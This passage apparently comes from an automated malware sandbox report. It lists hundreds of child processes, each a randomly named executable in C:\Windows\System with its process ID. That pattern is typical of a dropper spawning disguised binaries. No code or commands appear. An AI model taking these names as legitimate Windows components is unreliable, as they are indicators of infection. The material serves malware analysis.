- C:\Windows\System\IWJSOQS.exe
  C:\Windows\System\IWJSOQS.exe
  2⤵
  PID:12620
- C:\Windows\System\bOrzvks.exe
  C:\Windows\System\bOrzvks.exe
  2⤵
  PID:12636
- C:\Windows\System\cvrTThk.exe
  C:\Windows\System\cvrTThk.exe
  2⤵
  PID:12660
- C:\Windows\System\fXcKvEM.exe
  C:\Windows\System\fXcKvEM.exe
  2⤵
  PID:12684
- C:\Windows\System\VvNwyYK.exe
  C:\Windows\System\VvNwyYK.exe
  2⤵
  PID:12708
- C:\Windows\System\XRNVGFo.exe
  C:\Windows\System\XRNVGFo.exe
  2⤵
  PID:12724
- C:\Windows\System\YToRDqy.exe
  C:\Windows\System\YToRDqy.exe
  2⤵
  PID:12748
- C:\Windows\System\GGeiMyQ.exe
  C:\Windows\System\GGeiMyQ.exe
  2⤵
  PID:12776
- C:\Windows\System\XbNFkJX.exe
  C:\Windows\System\XbNFkJX.exe
  2⤵
  PID:12796
- C:\Windows\System\MtbnAsg.exe
  C:\Windows\System\MtbnAsg.exe
  2⤵
  PID:12820
- C:\Windows\System\nYeGXKF.exe
  C:\Windows\System\nYeGXKF.exe
  2⤵
  PID:12844
- C:\Windows\System\PXMXCDd.exe
  C:\Windows\System\PXMXCDd.exe
  2⤵
  PID:12888
- C:\Windows\System\vxZZQZR.exe
  C:\Windows\System\vxZZQZR.exe
  2⤵
  PID:12904
- C:\Windows\System\yjgPUkI.exe
  C:\Windows\System\yjgPUkI.exe
  2⤵
  PID:12920
- C:\Windows\System\xqSDhXV.exe
  C:\Windows\System\xqSDhXV.exe
  2⤵
  PID:12940
- C:\Windows\System\RgoQNyQ.exe
  C:\Windows\System\RgoQNyQ.exe
  2⤵
  PID:12972
- C:\Windows\System\dqCLfUC.exe
  C:\Windows\System\dqCLfUC.exe
  2⤵
  PID:12992
- C:\Windows\System\QxjJpFI.exe
  C:\Windows\System\QxjJpFI.exe
  2⤵
  PID:13008
- C:\Windows\System\OghLdqH.exe
  C:\Windows\System\OghLdqH.exe
  2⤵
  PID:13028
- C:\Windows\System\PukPIMg.exe
  C:\Windows\System\PukPIMg.exe
  2⤵
  PID:13052
- C:\Windows\System\QACRdyd.exe
  C:\Windows\System\QACRdyd.exe
  2⤵
  PID:13076
- C:\Windows\System\tteMptF.exe
  C:\Windows\System\tteMptF.exe
  2⤵
  PID:13096
- C:\Windows\System\izSygps.exe
  C:\Windows\System\izSygps.exe
  2⤵
  PID:13112
- C:\Windows\System\UnKvsjG.exe
  C:\Windows\System\UnKvsjG.exe
  2⤵
  PID:13132
- C:\Windows\System\AxMQFnp.exe
  C:\Windows\System\AxMQFnp.exe
  2⤵
  PID:13156
- C:\Windows\System\EmmeLAo.exe
  C:\Windows\System\EmmeLAo.exe
  2⤵
  PID:13180
- C:\Windows\System\dQDzgNV.exe
  C:\Windows\System\dQDzgNV.exe
  2⤵
  PID:13200
- C:\Windows\System\ViPisaI.exe
  C:\Windows\System\ViPisaI.exe
  2⤵
  PID:13220
- C:\Windows\System\TVMprdR.exe
  C:\Windows\System\TVMprdR.exe
  2⤵
  PID:13240
- C:\Windows\System\ydfoqpw.exe
  C:\Windows\System\ydfoqpw.exe
  2⤵
  PID:13260
- C:\Windows\System\CEdysYB.exe
  C:\Windows\System\CEdysYB.exe
  2⤵
  PID:13280
- C:\Windows\System\GcHHjCe.exe
  C:\Windows\System\GcHHjCe.exe
  2⤵
  PID:13308
- C:\Windows\System\ntscOQV.exe
  C:\Windows\System\ntscOQV.exe
  2⤵
  PID:10064
- C:\Windows\System\cKiOaAV.exe
  C:\Windows\System\cKiOaAV.exe
  2⤵
  PID:13040
- C:\Windows\System\BARfJAS.exe
  C:\Windows\System\BARfJAS.exe
  2⤵
  PID:13092
- C:\Windows\System\xplUpvx.exe
  C:\Windows\System\xplUpvx.exe
  2⤵
  PID:13148
- C:\Windows\System\cktjmUi.exe
  C:\Windows\System\cktjmUi.exe
  2⤵
  PID:13192
- C:\Windows\System\XIfYAAC.exe
  C:\Windows\System\XIfYAAC.exe
  2⤵
  PID:13236
- C:\Windows\System\wEIKAkk.exe
  C:\Windows\System\wEIKAkk.exe
  2⤵
  PID:9012
- C:\Windows\System\YZrROZw.exe
  C:\Windows\System\YZrROZw.exe
  2⤵
  PID:11336
- C:\Windows\System\MtrFmWt.exe
  C:\Windows\System\MtrFmWt.exe
  2⤵
  PID:9816
- C:\Windows\System\XhdCUFz.exe
  C:\Windows\System\XhdCUFz.exe
  2⤵
  PID:3728
- C:\Windows\System\wanxbIS.exe
  C:\Windows\System\wanxbIS.exe
  2⤵
  PID:756
- C:\Windows\System\yRqZPzz.exe
  C:\Windows\System\yRqZPzz.exe
  2⤵
  PID:12440
- C:\Windows\System\ZLVggyN.exe
  C:\Windows\System\ZLVggyN.exe
  2⤵
  PID:11584
- C:\Windows\System\obidISo.exe
  C:\Windows\System\obidISo.exe
  2⤵
  PID:10368
- C:\Windows\System\nOHkWAm.exe
  C:\Windows\System\nOHkWAm.exe
  2⤵
  PID:10228
- C:\Windows\System\hJOyBHu.exe
  C:\Windows\System\hJOyBHu.exe
  2⤵
  PID:11124
- C:\Windows\System\wulUJQo.exe
  C:\Windows\System\wulUJQo.exe
  2⤵
  PID:4992
- C:\Windows\System\BfDoHfX.exe
  C:\Windows\System\BfDoHfX.exe
  2⤵
  PID:12740
- C:\Windows\System\cGOicdm.exe
  C:\Windows\System\cGOicdm.exe
  2⤵
  PID:9716
- C:\Windows\System\IhiFqEL.exe
  C:\Windows\System\IhiFqEL.exe
  2⤵
  PID:13084
- C:\Windows\System\wLwyLFr.exe
  C:\Windows\System\wLwyLFr.exe
  2⤵
  PID:13276
- C:\Windows\System\TIDfuyh.exe
  C:\Windows\System\TIDfuyh.exe
  2⤵
  PID:10688
- C:\Windows\System\cXWwRDL.exe
  C:\Windows\System\cXWwRDL.exe
  2⤵
  PID:12292
- C:\Windows\System\giuTzKM.exe
  C:\Windows\System\giuTzKM.exe
  2⤵
  PID:1600
- C:\Windows\System\izAFzCO.exe
  C:\Windows\System\izAFzCO.exe
  2⤵
  PID:11120
- C:\Windows\System\YXmyNPG.exe
  C:\Windows\System\YXmyNPG.exe
  2⤵
  PID:9744
- C:\Windows\System\QUgDKYC.exe
  C:\Windows\System\QUgDKYC.exe
  2⤵
  PID:11596
- C:\Windows\System\GAKkouP.exe
  C:\Windows\System\GAKkouP.exe
  2⤵
  PID:13268
- C:\Windows\System\LFlfzxs.exe
  C:\Windows\System\LFlfzxs.exe
  2⤵
  PID:10668
- C:\Windows\System\sRvypZe.exe
  C:\Windows\System\sRvypZe.exe
  2⤵
  PID:3676
- C:\Windows\System\sXyfXBO.exe
  C:\Windows\System\sXyfXBO.exe
  2⤵
  PID:684
- C:\Windows\System\iXpggrW.exe
  C:\Windows\System\iXpggrW.exe
  2⤵
  PID:11536
- C:\Windows\System\uEQJFuQ.exe
  C:\Windows\System\uEQJFuQ.exe
  2⤵
  PID:9344
- C:\Windows\System\gZgathG.exe
  C:\Windows\System\gZgathG.exe
  2⤵
  PID:4956
- C:\Windows\System\BIacCme.exe
  C:\Windows\System\BIacCme.exe
  2⤵
  PID:12172
- C:\Windows\System\BRucRvW.exe
  C:\Windows\System\BRucRvW.exe
  2⤵
  PID:10504
- C:\Windows\System\qjjxZLy.exe
  C:\Windows\System\qjjxZLy.exe
  2⤵
  PID:10684
- C:\Windows\System\FkIGonp.exe
  C:\Windows\System\FkIGonp.exe
  2⤵
  PID:10264
- C:\Windows\System\FpGeFHw.exe
  C:\Windows\System\FpGeFHw.exe
  2⤵
  PID:12264
- C:\Windows\System\luoUxTm.exe
  C:\Windows\System\luoUxTm.exe
  2⤵
  PID:12308
- C:\Windows\System\PcoiFFP.exe
  C:\Windows\System\PcoiFFP.exe
  2⤵
  PID:8660
- C:\Windows\System\FFfixjf.exe
  C:\Windows\System\FFfixjf.exe
  2⤵
  PID:13124
- C:\Windows\System\bsixAPh.exe
  C:\Windows\System\bsixAPh.exe
  2⤵
  PID:10464
- C:\Windows\System\fsbGAwS.exe
  C:\Windows\System\fsbGAwS.exe
  2⤵
  PID:11296
- C:\Windows\System\KlfBsZi.exe
  C:\Windows\System\KlfBsZi.exe
  2⤵
  PID:10648
- C:\Windows\System\KhNrxGx.exe
  C:\Windows\System\KhNrxGx.exe
  2⤵
  PID:10080
- C:\Windows\System\FKWOmXN.exe
  C:\Windows\System\FKWOmXN.exe
  2⤵
  PID:5312
- C:\Windows\System\jtLbndw.exe
  C:\Windows\System\jtLbndw.exe
  2⤵
  PID:6640
- C:\Windows\System\kwtcWFW.exe
  C:\Windows\System\kwtcWFW.exe
  2⤵
  PID:6280
- C:\Windows\System\XMVgwJQ.exe
  C:\Windows\System\XMVgwJQ.exe
  2⤵
  PID:8656
- C:\Windows\System\NZCSovu.exe
  C:\Windows\System\NZCSovu.exe
  2⤵
  PID:9312
- C:\Windows\System\lFkcgPm.exe
  C:\Windows\System\lFkcgPm.exe
  2⤵
  PID:10424
- C:\Windows\System\iaPDTkX.exe
  C:\Windows\System\iaPDTkX.exe
  2⤵
  PID:8532
- C:\Windows\System\rjTEyeJ.exe
  C:\Windows\System\rjTEyeJ.exe
  2⤵
  PID:11748
- C:\Windows\System\dywIrke.exe
  C:\Windows\System\dywIrke.exe
  2⤵
  PID:13368
- C:\Windows\System\djDkfnR.exe
  C:\Windows\System\djDkfnR.exe
  2⤵
  PID:13412
- C:\Windows\System\jCUcLCD.exe
  C:\Windows\System\jCUcLCD.exe
  2⤵
  PID:13508
- C:\Windows\System\OJpVvoA.exe
  C:\Windows\System\OJpVvoA.exe
  2⤵
  PID:13612
- C:\Windows\System\clQaEeX.exe
  C:\Windows\System\clQaEeX.exe
  2⤵
  PID:13940
- C:\Windows\System\RTueYLB.exe
  C:\Windows\System\RTueYLB.exe
  2⤵
  PID:13960
- C:\Windows\System\TurlKSF.exe
  C:\Windows\System\TurlKSF.exe
  2⤵
  PID:13980
- C:\Windows\System\VJawctW.exe
  C:\Windows\System\VJawctW.exe
  2⤵
  PID:14000
- C:\Windows\System\OYdkHcY.exe
  C:\Windows\System\OYdkHcY.exe
  2⤵
  PID:14028
- C:\Windows\System\zQuXdAz.exe
  C:\Windows\System\zQuXdAz.exe
  2⤵
  PID:14204
- C:\Windows\System\HVrRHbh.exe
  C:\Windows\System\HVrRHbh.exe
  2⤵
  PID:14224
- C:\Windows\System\UQdYwiS.exe
  C:\Windows\System\UQdYwiS.exe
  2⤵
  PID:14248
- C:\Windows\System\rhhepgN.exe
  C:\Windows\System\rhhepgN.exe
  2⤵
  PID:14268
- C:\Windows\System\vtOYVDQ.exe
  C:\Windows\System\vtOYVDQ.exe
  2⤵
  PID:14288
- C:\Windows\System\MatQCvr.exe
  C:\Windows\System\MatQCvr.exe
  2⤵
  PID:7904
- C:\Windows\System\Xxfwnvr.exe
  C:\Windows\System\Xxfwnvr.exe
  2⤵
  PID:9544
- C:\Windows\System\QibpTDv.exe
  C:\Windows\System\QibpTDv.exe
  2⤵
  PID:13816
- C:\Windows\System\QMosegu.exe
  C:\Windows\System\QMosegu.exe
  2⤵
  PID:13568
- C:\Windows\System\QFgYIIR.exe
  C:\Windows\System\QFgYIIR.exe
  2⤵
  PID:13632
- C:\Windows\System\cVrrjFZ.exe
  C:\Windows\System\cVrrjFZ.exe
  2⤵
  PID:13588
- C:\Windows\System\JpMrhgX.exe
  C:\Windows\System\JpMrhgX.exe
  2⤵
  PID:400
- C:\Windows\System\rnEzlET.exe
  C:\Windows\System\rnEzlET.exe
  2⤵
  PID:4256
- C:\Windows\System\PdSNErd.exe
  C:\Windows\System\PdSNErd.exe
  2⤵
  PID:6636
- C:\Windows\System\uVdRpXH.exe
  C:\Windows\System\uVdRpXH.exe
  2⤵
  PID:10824
- C:\Windows\System\nkDKXPU.exe
  C:\Windows\System\nkDKXPU.exe
  2⤵
  PID:9188
- C:\Windows\System\WOlVrMX.exe
  C:\Windows\System\WOlVrMX.exe
  2⤵
  PID:2876
- C:\Windows\System\kaCSKSd.exe
  C:\Windows\System\kaCSKSd.exe
  2⤵
  PID:13388
- C:\Windows\System\zCOKrgO.exe
  C:\Windows\System\zCOKrgO.exe
  2⤵
  PID:13420
- C:\Windows\System\SEMAufH.exe
  C:\Windows\System\SEMAufH.exe
  2⤵
  PID:12048
- C:\Windows\System\mppbvcG.exe
  C:\Windows\System\mppbvcG.exe
  2⤵
  PID:13596
- C:\Windows\System\wdXEcSq.exe
  C:\Windows\System\wdXEcSq.exe
  2⤵
  PID:6300
- C:\Windows\System\onAJJfG.exe
  C:\Windows\System\onAJJfG.exe
  2⤵
  PID:13636
- C:\Windows\System\rRAxzEa.exe
  C:\Windows\System\rRAxzEa.exe
  2⤵
  PID:1888
- C:\Windows\System\BIkzlxg.exe
  C:\Windows\System\BIkzlxg.exe
  2⤵
  PID:4080
- C:\Windows\System\qcAuzhQ.exe
  C:\Windows\System\qcAuzhQ.exe
  2⤵
  PID:13776
- C:\Windows\System\mkCZQVd.exe
  C:\Windows\System\mkCZQVd.exe
  2⤵
  PID:13584
- C:\Windows\System\ZXdMIOK.exe
  C:\Windows\System\ZXdMIOK.exe
  2⤵
  PID:13760
- C:\Windows\System\lfzlqje.exe
  C:\Windows\System\lfzlqje.exe
  2⤵
  PID:13784
- C:\Windows\System\JTIDnSk.exe
  C:\Windows\System\JTIDnSk.exe
  2⤵
  PID:13864
- C:\Windows\System\Iwwgtfh.exe
  C:\Windows\System\Iwwgtfh.exe
  2⤵
  PID:13812
- C:\Windows\System\odbNoky.exe
  C:\Windows\System\odbNoky.exe
  2⤵
  PID:14112
- C:\Windows\System\ZhTOepM.exe
  C:\Windows\System\ZhTOepM.exe
  2⤵
  PID:13948
- C:\Windows\System\GzzakfX.exe
  C:\Windows\System\GzzakfX.exe
  2⤵
  PID:13880
- C:\Windows\System\tROYUVL.exe
  C:\Windows\System\tROYUVL.exe
  2⤵
  PID:13844
- C:\Windows\System\ZIUFiZl.exe
  C:\Windows\System\ZIUFiZl.exe
  2⤵
  PID:13904
- C:\Windows\System\CCYMFZw.exe
  C:\Windows\System\CCYMFZw.exe
  2⤵
  PID:14072
- C:\Windows\System\QgZOCLW.exe
  C:\Windows\System\QgZOCLW.exe
  2⤵
  PID:13976
- C:\Windows\System\rGfSUzM.exe
  C:\Windows\System\rGfSUzM.exe
  2⤵
  PID:14084
- C:\Windows\System\MLVqIoA.exe
  C:\Windows\System\MLVqIoA.exe
  2⤵
  PID:14016
- C:\Windows\System\WjbpMSZ.exe
  C:\Windows\System\WjbpMSZ.exe
  2⤵
  PID:14052
- C:\Windows\System\fCfrHmW.exe
  C:\Windows\System\fCfrHmW.exe
  2⤵
  PID:13920
- C:\Windows\System\XLqgMpQ.exe
  C:\Windows\System\XLqgMpQ.exe
  2⤵
  PID:14100
- C:\Windows\System\pWxpPpP.exe
  C:\Windows\System\pWxpPpP.exe
  2⤵
  PID:13888
- C:\Windows\System\tIUpiPg.exe
  C:\Windows\System\tIUpiPg.exe
  2⤵
  PID:14012
- C:\Windows\System\QDmJMmj.exe
  C:\Windows\System\QDmJMmj.exe
  2⤵
  PID:4424
- C:\Windows\System\BrRWBCy.exe
  C:\Windows\System\BrRWBCy.exe
  2⤵
  PID:13820
- C:\Windows\System\YMYumWB.exe
  C:\Windows\System\YMYumWB.exe
  2⤵
  PID:14256
- C:\Windows\System\xBKcZdd.exe
  C:\Windows\System\xBKcZdd.exe
  2⤵
  PID:14260
- C:\Windows\System\wvjAuEi.exe
  C:\Windows\System\wvjAuEi.exe
  2⤵
  PID:14232
- C:\Windows\System\NLwJMsT.exe
  C:\Windows\System\NLwJMsT.exe
  2⤵
  PID:14300
- C:\Windows\System\gwndyQH.exe
  C:\Windows\System\gwndyQH.exe
  2⤵
  PID:13884
- C:\Windows\System\YvFwqPI.exe
  C:\Windows\System\YvFwqPI.exe
  2⤵
  PID:14332
- C:\Windows\System\OiBxMoy.exe
  C:\Windows\System\OiBxMoy.exe
  2⤵
  PID:13088
- C:\Windows\System\nyzbsvb.exe
  C:\Windows\System\nyzbsvb.exe
  2⤵
  PID:2736
- C:\Windows\System\TLdTgln.exe
  C:\Windows\System\TLdTgln.exe
  2⤵
  PID:14320
- C:\Windows\System\fPCYkmX.exe
  C:\Windows\System\fPCYkmX.exe
  2⤵
  PID:2596
- C:\Windows\System\uCDEDHv.exe
  C:\Windows\System\uCDEDHv.exe
  2⤵
  PID:1296
- C:\Windows\System\egQHEao.exe
  C:\Windows\System\egQHEao.exe
  2⤵
  PID:6228
- C:\Windows\System\YbSHCTr.exe
  C:\Windows\System\YbSHCTr.exe
  2⤵
  PID:12704
- C:\Windows\System\cyKtTzi.exe
  C:\Windows\System\cyKtTzi.exe
  2⤵
  PID:4464
- C:\Windows\System\HWUDmZE.exe
  C:\Windows\System\HWUDmZE.exe
  2⤵
  PID:14128
- C:\Windows\System\ccVKhfP.exe
  C:\Windows\System\ccVKhfP.exe
  2⤵
  PID:10056
- C:\Windows\System\aEHOQTy.exe
  C:\Windows\System\aEHOQTy.exe
  2⤵
  PID:13384
- C:\Windows\System\ShoCWPW.exe
  C:\Windows\System\ShoCWPW.exe
  2⤵
  PID:10632
- C:\Windows\System\HpDbnZW.exe
  C:\Windows\System\HpDbnZW.exe
  2⤵
  PID:6348
- C:\Windows\System\wOCIugd.exe
  C:\Windows\System\wOCIugd.exe
  2⤵
  PID:3992
- C:\Windows\System\vOSprXy.exe
  C:\Windows\System\vOSprXy.exe
  2⤵
  PID:13272
- C:\Windows\System\GNHqFHH.exe
  C:\Windows\System\GNHqFHH.exe
  2⤵
  PID:13504
- C:\Windows\System\hdaUkST.exe
  C:\Windows\System\hdaUkST.exe
  2⤵
  PID:13320
- C:\Windows\System\JRzBUhv.exe
  C:\Windows\System\JRzBUhv.exe
  2⤵
  PID:13520
- C:\Windows\System\HEBbuSQ.exe
  C:\Windows\System\HEBbuSQ.exe
  2⤵
  PID:13436
- C:\Windows\System\oprXDZV.exe
  C:\Windows\System\oprXDZV.exe
  2⤵
  PID:13324
- C:\Windows\System\SPgzpKU.exe
  C:\Windows\System\SPgzpKU.exe
  2⤵
  PID:13228
- C:\Windows\System\xmCxtPD.exe
  C:\Windows\System\xmCxtPD.exe
  2⤵
  PID:3076
- C:\Windows\System\fKoCnUw.exe
  C:\Windows\System\fKoCnUw.exe
  2⤵
  PID:13360
- C:\Windows\System\rpCLgrE.exe
  C:\Windows\System\rpCLgrE.exe
  2⤵
  PID:13556
- C:\Windows\System\WVTFbvZ.exe
  C:\Windows\System\WVTFbvZ.exe
  2⤵
  PID:13604
- C:\Windows\System\jcLLNhh.exe
  C:\Windows\System\jcLLNhh.exe
  2⤵
  PID:13656
- C:\Windows\System\RJZUolb.exe
  C:\Windows\System\RJZUolb.exe
  2⤵
  PID:4908
- C:\Windows\System\wjPxKiM.exe
  C:\Windows\System\wjPxKiM.exe
  2⤵
  PID:13572
- C:\Windows\System\IKBNqpI.exe
  C:\Windows\System\IKBNqpI.exe
  2⤵
  PID:4848
- C:\Windows\System\tcOhClE.exe
  C:\Windows\System\tcOhClE.exe
  2⤵
  PID:13580
- C:\Windows\System\zhxURIJ.exe
  C:\Windows\System\zhxURIJ.exe
  2⤵
  PID:13848
- C:\Windows\System\dQJcHwi.exe
  C:\Windows\System\dQJcHwi.exe
  2⤵
  PID:13728
- C:\Windows\System\dOIKLYj.exe
  C:\Windows\System\dOIKLYj.exe
  2⤵
  PID:13448
- C:\Windows\System\reoiNNk.exe
  C:\Windows\System\reoiNNk.exe
  2⤵
  PID:13988
- C:\Windows\System\jDbgxNF.exe
  C:\Windows\System\jDbgxNF.exe
  2⤵
  PID:14056
- C:\Windows\System\MJPpLHd.exe
  C:\Windows\System\MJPpLHd.exe
  2⤵
  PID:14096
- C:\Windows\System\qBNZurb.exe
  C:\Windows\System\qBNZurb.exe
  2⤵
  PID:14036
- C:\Windows\System\FJWupka.exe
  C:\Windows\System\FJWupka.exe
  2⤵
  PID:13868
- C:\Windows\System\PnkslVL.exe
  C:\Windows\System\PnkslVL.exe
  2⤵
  PID:14108
- C:\Windows\System\SFwfzMn.exe
  C:\Windows\System\SFwfzMn.exe
  2⤵
  PID:14180
- C:\Windows\System\MXJmQmj.exe
  C:\Windows\System\MXJmQmj.exe
  2⤵
  PID:14284
- C:\Windows\System\NpuShJG.exe
  C:\Windows\System\NpuShJG.exe
  2⤵
  PID:14304
- C:\Windows\System\XjSiOjm.exe
  C:\Windows\System\XjSiOjm.exe
  2⤵
  PID:14328
- C:\Windows\System\raSEPRr.exe
  C:\Windows\System\raSEPRr.exe
  2⤵
  PID:14132
- C:\Windows\System\UIeGYwl.exe
  C:\Windows\System\UIeGYwl.exe
  2⤵
  PID:5296
- C:\Windows\System\cTxQMkp.exe
  C:\Windows\System\cTxQMkp.exe
  2⤵
  PID:2496
- C:\Windows\System\FIVYXOn.exe
  C:\Windows\System\FIVYXOn.exe
  2⤵
  PID:10172
- C:\Windows\System\ktJCTuq.exe
  C:\Windows\System\ktJCTuq.exe
  2⤵
  PID:3544
- C:\Windows\System\djnLjiy.exe
  C:\Windows\System\djnLjiy.exe
  2⤵
  PID:10444
- C:\Windows\System\KtFKiEa.exe
  C:\Windows\System\KtFKiEa.exe
  2⤵
  PID:10908
- C:\Windows\System\AhxdTJR.exe
  C:\Windows\System\AhxdTJR.exe
  2⤵
  PID:4268
- C:\Windows\System\vcGHoFd.exe
  C:\Windows\System\vcGHoFd.exe
  2⤵
  PID:13212
- C:\Windows\System\AIGwQFq.exe
  C:\Windows\System\AIGwQFq.exe
  2⤵
  PID:13432
- C:\Windows\System\DkNGdlX.exe
  C:\Windows\System\DkNGdlX.exe
  2⤵
  PID:13444
- C:\Windows\System\XzOqbKF.exe
  C:\Windows\System\XzOqbKF.exe
  2⤵
  PID:13744
- C:\Windows\System\YAmpoOA.exe
  C:\Windows\System\YAmpoOA.exe
  2⤵
  PID:13472
- C:\Windows\System\yIsqhNh.exe
  C:\Windows\System\yIsqhNh.exe
  2⤵
  PID:13624
- C:\Windows\System\vtWJXJw.exe
  C:\Windows\System\vtWJXJw.exe
  2⤵
  PID:11712
- C:\Windows\System\oaKAsJj.exe
  C:\Windows\System\oaKAsJj.exe
  2⤵
  PID:13840
- C:\Windows\System\rjAUtWd.exe
  C:\Windows\System\rjAUtWd.exe
  2⤵
  PID:13892
- C:\Windows\System\ZAIKCpA.exe
  C:\Windows\System\ZAIKCpA.exe
  2⤵
  PID:14024
- C:\Windows\System\cLOJiit.exe
  C:\Windows\System\cLOJiit.exe
  2⤵
  PID:14040
- C:\Windows\System\QFPPIPK.exe
  C:\Windows\System\QFPPIPK.exe
  2⤵
  PID:14092
- C:\Windows\System\qdkxWmG.exe
  C:\Windows\System\qdkxWmG.exe
  2⤵
  PID:4772
- C:\Windows\System\EiOEFAh.exe
  C:\Windows\System\EiOEFAh.exe
  2⤵
  PID:14296
- C:\Windows\System\BBegqdI.exe
  C:\Windows\System\BBegqdI.exe
  2⤵
  PID:14168
- C:\Windows\System\hpyJkLz.exe
  C:\Windows\System\hpyJkLz.exe
  2⤵
  PID:5300
- C:\Windows\System\OOkaPLJ.exe
  C:\Windows\System\OOkaPLJ.exe
  2⤵
  PID:12028
- C:\Windows\System\ESbBstZ.exe
  C:\Windows\System\ESbBstZ.exe
  2⤵
  PID:3196
- C:\Windows\System\abJZSMz.exe
  C:\Windows\System\abJZSMz.exe
  2⤵
  PID:11580
- C:\Windows\System\cLeFBEf.exe
  C:\Windows\System\cLeFBEf.exe
  2⤵
  PID:13408
- C:\Windows\System\okiGAFL.exe
  C:\Windows\System\okiGAFL.exe
  2⤵
  PID:13460
- C:\Windows\System\lSkgDXH.exe
  C:\Windows\System\lSkgDXH.exe
  2⤵
  PID:13560
- C:\Windows\System\XdGRvur.exe
  C:\Windows\System\XdGRvur.exe
  2⤵
  PID:13860
- C:\Windows\System\tAkfcCg.exe
  C:\Windows\System\tAkfcCg.exe
  2⤵
  PID:13992
- C:\Windows\System\XuGeyXw.exe
  C:\Windows\System\XuGeyXw.exe
  2⤵
  PID:13912
- C:\Windows\System\MQDHTwJ.exe
  C:\Windows\System\MQDHTwJ.exe
  2⤵
  PID:4808
- C:\Windows\System\VkQGaUy.exe
  C:\Windows\System\VkQGaUy.exe
  2⤵
  PID:3584
- C:\Windows\System\OvLBeKs.exe
  C:\Windows\System\OvLBeKs.exe
  2⤵
  PID:13496
- C:\Windows\System\VWBlNCQ.exe
  C:\Windows\System\VWBlNCQ.exe
  2⤵
  PID:13652
- C:\Windows\System\WLFBnIx.exe
  C:\Windows\System\WLFBnIx.exe
  2⤵
  PID:13608
- C:\Windows\System\IWNcqhl.exe
  C:\Windows\System\IWNcqhl.exe
  2⤵
  PID:13592
- C:\Windows\System\lkPdzei.exe
  C:\Windows\System\lkPdzei.exe
  2⤵
  PID:14172
- C:\Windows\System\WKMtgvT.exe
  C:\Windows\System\WKMtgvT.exe
  2⤵
  PID:13468
- C:\Windows\System\YQrCMIn.exe
  C:\Windows\System\YQrCMIn.exe
  2⤵
  PID:14220
- C:\Windows\System\fdLgQpK.exe
  C:\Windows\System\fdLgQpK.exe
  2⤵
  PID:1968
- C:\Windows\System\LKFdlKo.exe
  C:\Windows\System\LKFdlKo.exe
  2⤵
  PID:3344
- C:\Windows\System\aMWRABw.exe
  C:\Windows\System\aMWRABw.exe
  2⤵
  PID:13348
- C:\Windows\System\qDyYpnh.exe
  C:\Windows\System\qDyYpnh.exe
  2⤵
  PID:1156
- C:\Windows\System\iqoGQaV.exe
  C:\Windows\System\iqoGQaV.exe
  2⤵
  PID:4840
- C:\Windows\System\ArnMVKL.exe
  C:\Windows\System\ArnMVKL.exe
  2⤵
  PID:4144
- C:\Windows\System\iCVldfk.exe
  C:\Windows\System\iCVldfk.exe
  2⤵
  PID:1052
- C:\Windows\System\lsSBiAZ.exe
  C:\Windows\System\lsSBiAZ.exe
  2⤵
  PID:2732
- C:\Windows\System\WBpSRpP.exe
  C:\Windows\System\WBpSRpP.exe
  2⤵
  PID:3376
- C:\Windows\System\wyUEOmt.exe
  C:\Windows\System\wyUEOmt.exe
  2⤵
  PID:2288
- C:\Windows\System\fTLoGsa.exe
  C:\Windows\System\fTLoGsa.exe
  2⤵
  PID:1320
- C:\Windows\System\wrIwExc.exe
  C:\Windows\System\wrIwExc.exe
  2⤵
  PID:3668
- C:\Windows\System\WLDLATa.exe
  C:\Windows\System\WLDLATa.exe
  2⤵
  PID:3396
- C:\Windows\System\uJKuSqj.exe
  C:\Windows\System\uJKuSqj.exe
  2⤵
  PID:4028
- C:\Windows\System\ihHoEGR.exe
  C:\Windows\System\ihHoEGR.exe
  2⤵
  PID:4940
- C:\Windows\System\EScAYPX.exe
  C:\Windows\System\EScAYPX.exe
  2⤵
  PID:4836
- C:\Windows\System\rIDZjhr.exe
  C:\Windows\System\rIDZjhr.exe
  2⤵
  PID:2008
- C:\Windows\System\tkWQEUn.exe
  C:\Windows\System\tkWQEUn.exe
  2⤵
  PID:720
- C:\Windows\System\zucuMyd.exe
  C:\Windows\System\zucuMyd.exe
  2⤵
  PID:1172
- C:\Windows\System\GzmkHCW.exe
  C:\Windows\System\GzmkHCW.exe
  2⤵
  PID:3264
- C:\Windows\System\fLYGCBO.exe
  C:\Windows\System\fLYGCBO.exe
  2⤵
  PID:13716
- C:\Windows\System\OCBdwrY.exe
  C:\Windows\System\OCBdwrY.exe
  2⤵
  PID:2872
- C:\Windows\System\niLDRQm.exe
  C:\Windows\System\niLDRQm.exe
  2⤵
  PID:4672
- C:\Windows\System\tvQcrJK.exe
  C:\Windows\System\tvQcrJK.exe
  2⤵
  PID:14264
- C:\Windows\System\wLYlEvu.exe
  C:\Windows\System\wLYlEvu.exe
  2⤵
  PID:1948
- C:\Windows\System\iswieCm.exe
  C:\Windows\System\iswieCm.exe
  2⤵
  PID:2400
- C:\Windows\System\JFriAEF.exe
  C:\Windows\System\JFriAEF.exe
  2⤵
  PID:1164
- C:\Windows\System\blhnoZe.exe
  C:\Windows\System\blhnoZe.exe
  2⤵
  PID:5064
- C:\Windows\System\eKDcGZZ.exe
  C:\Windows\System\eKDcGZZ.exe
  2⤵
  PID:4600
- C:\Windows\System\dwaTnjL.exe
  C:\Windows\System\dwaTnjL.exe
  2⤵
  PID:1640
- C:\Windows\System\FubvvEa.exe
  C:\Windows\System\FubvvEa.exe
  2⤵
  PID:2396
- C:\Windows\System\KnVgeey.exe
  C:\Windows\System\KnVgeey.exe
  2⤵
  PID:14380
- C:\Windows\System\EJbnHLz.exe
  C:\Windows\System\EJbnHLz.exe
  2⤵
  PID:14412
- C:\Windows\System\EyEKfxH.exe
  C:\Windows\System\EyEKfxH.exe
  2⤵
  PID:14428
- C:\Windows\System\rxXFiTL.exe
  C:\Windows\System\rxXFiTL.exe
  2⤵
  PID:14444
- C:\Windows\System\tLwoUVb.exe
  C:\Windows\System\tLwoUVb.exe
  2⤵
  PID:14460
- C:\Windows\System\tftfmSh.exe
  C:\Windows\System\tftfmSh.exe
  2⤵
  PID:14476
- C:\Windows\System\HverJWr.exe
  C:\Windows\System\HverJWr.exe
  2⤵
  PID:14496
- C:\Windows\System\deAeluO.exe
  C:\Windows\System\deAeluO.exe
  2⤵
  PID:14512
- C:\Windows\System\jctmCQa.exe
  C:\Windows\System\jctmCQa.exe
  2⤵
  PID:14532
- C:\Windows\System\vMyjrgj.exe
  C:\Windows\System\vMyjrgj.exe
  2⤵
  PID:14636
- C:\Windows\System\LQtpVvt.exe
  C:\Windows\System\LQtpVvt.exe
  2⤵
  PID:14716
- C:\Windows\System\tdBRCbO.exe
  C:\Windows\System\tdBRCbO.exe
  2⤵
